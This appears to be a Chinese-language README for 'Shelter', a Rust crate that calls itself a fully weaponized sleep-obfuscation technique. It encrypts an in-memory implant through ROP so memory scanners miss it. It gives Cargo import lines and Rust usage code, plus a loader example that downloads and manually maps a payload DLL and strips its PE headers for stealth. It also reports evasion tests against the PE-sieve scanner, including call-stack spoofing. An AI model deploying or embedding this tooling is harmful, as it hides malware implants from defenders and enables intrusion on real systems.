Shelter 是一种完全武器化的睡眠混淆技术,它通过广泛使用 ROP 来实现内存中 payload 的完全加密。
该 crate 具有以下特点:
通过将以下行添加到你的 cargo.toml 来将此 crate 导入到你的项目中:
[dependencies]
shelter = "=0.1.2"
然后,以 --release 模式编译你的项目。
此 crate 的主要功能已封装在三个函数中:
fluctuate() 可以加密当前内存区域或整个 PE。此函数需要 PE 的 MZ 字节存在,以便动态获取其基址。fluctuate_from_address() 完全加密 PE。此函数期望输入参数为 PE 的基址。fluctuate_from_pattern() 也完全加密 PE。此函数期望输入参数为自定义的两个字节,用于确定 PE 的基址。这些自定义魔字节替换了经典的 MZ 模式。当整个 PE 被加密时,原始节区的内存保护被存储在堆中,以便之后恢复。
Shelter 使用 NtWaitForSingleObject 来睡眠。除了指示你想睡眠的秒数外,你还可以传递一个事件句柄,并在任何时候通过信号通知它(例如使用 SetEvent)以在超时前返回。请注意,如果你的整个 payload 都被加密了(我想这才是重点),那么在你无限期睡眠的情况下,你需要一种替代方式来发送事件信号。
该函数期望以下参数:
true 要求内存中存在 MZ 字节。None,超时将是无限的,这意味着执行将不会返回,直到传递给 NtWaitForSingleObject 的事件被信号通知。None。如果你将此参数和超时都设为 None,程序将会卡住。let time_to_sleep = Some(10); // 睡眠10秒
let _ = shelter::fluctuate(false, time_to_sleep, None); // 仅加密当前内存区域
let time_to_sleep = Some(10); // 睡眠10秒
let _ = shelter::fluctuate(true, time_to_sleep, None); // 加密整个PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // 无限期睡眠
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // 加密整个PE,直到事件被信号通知
该函数期望以下参数:
None,超时将是无限的,这意味着执行将不会返回,直到传递给 NtWaitForSingleObject 的事件被信号通知。None。如果你将此参数和超时都设为 None,程序将会卡住。使用此函数的一种方式是使用 DInvoke_rs 手动映射我们的 payload。这样,加载器可以将 payload 自身的基地址发送给它,然后 payload 可以在需要时使用它来混淆自身。这样,加载器可以安全地移除 PE 的头部,以实现一定程度的隐蔽性。
加载器示例:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Payload 示例:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // 睡眠10秒
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // 从该特定基地址加密整个PE
...
}
该函数期望以下参数:
None,超时将是无限的,这意味着执行将不会返回,直到传递给 NtWaitForSingleObject 的事件被信号通知。None。如果你将此参数和超时都设为 None,程序将会卡住。[u8;2] 数组,包含用于查找 PE 基地址的自定义魔字节。创建此函数的目的是允许加载器移除 PE 的头部和其他签名,包括经典的 MZ 字节。这样,这些字节可以被自定义模式替换,Shelter 将查找该模式以检索 PE 的基地址。
let time_to_sleep = Some(10); // 睡眠10秒
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // 使用自定义模式作为魔字节加密整个PE
为了测试该技术的实现,主要使用了 PE-sieve。默认情况下,PE-sieve 会在可执行内存区域内查找植入物,这意味着即使仅混淆当前内存区域(.text)也足以避免检测:

请注意,由于我们使用了 Unwinder,调用栈被欺骗了,因此 /threads 标志也无法检测到映射的 DLL。
现在,PE-sieve 允许通过使用 /data 标志来检查非可执行内存区域。根据该工具的官方文档,将此标志设置为 always 可能会“产生大量噪声/误报”。尽管如此,我们决定使用它来检查整个 PE 加密功能的有效性,因为它可以隐藏 PE 的数据区域,这些区域可能包含内存中植入物的存在指示。

如图所示,第一张图片显示,当 PE-sieve 扫描非可执行内存页面时,仅混淆 .text 段是不够的,因为某些区域可能包含暴露 DLL 存在的字符串(MZ、DOS 头、段名称等)。另一方面,第二张图片显示,通过使用 Shelter 的整个 PE 混淆机制可以解决这个问题。无论如何,正如 PE-sieve 的维基中所说,此选项会导致大量误报,因为堆中仅仅出现像 ".data" 或 "rdata" 这样的字符串就已经警告可能存在植入的 PE,尽管它无法从内存中转储任何内容(因为该区域没有任何真正的 PE 内容)。
最后,PE-sieve 有一个相对较新的选项,可以通过查找高熵内存区域来检测混淆植入物的存在。此选项(/obfusc)与 /data 结合使用,能够检测到 payload 的存在,因为它所在的内存区域具有高熵(尽管由于完全加密而无法检索到 PE):
尽管 Shelter 已准备好使用,并且开发时考虑到了 OPSEC,但仍有一些增强功能将在不久的将来添加:
BCryptEncrypt/BCryptDecrypt 替换为相应的 Nt 函数。